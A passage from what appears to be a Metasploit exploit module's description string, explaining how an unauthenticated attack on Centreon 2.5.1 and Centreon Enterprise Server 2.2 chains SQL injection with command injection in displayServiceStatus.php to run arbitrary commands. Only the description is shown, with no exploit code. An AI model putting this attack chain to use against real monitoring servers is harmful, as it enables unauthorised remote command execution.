      'Description'    => %q{
        This module exploits several vulnerabilities on Centreon 2.5.1 and prior and Centreon
        Enterprise Server 2.2 and prior. Due to a combination of SQL injection and command
        injection in the displayServiceStatus.php component, it is possible to execute arbitrary
        commands as long as there is a valid session registered in the centreon.session table.
        In order to have a valid session, all it takes is a successful login from anybody.
        The exploit itself does not require any authentication.

        This module has been tested successfully on Centreon Enterprise Server 2.2.
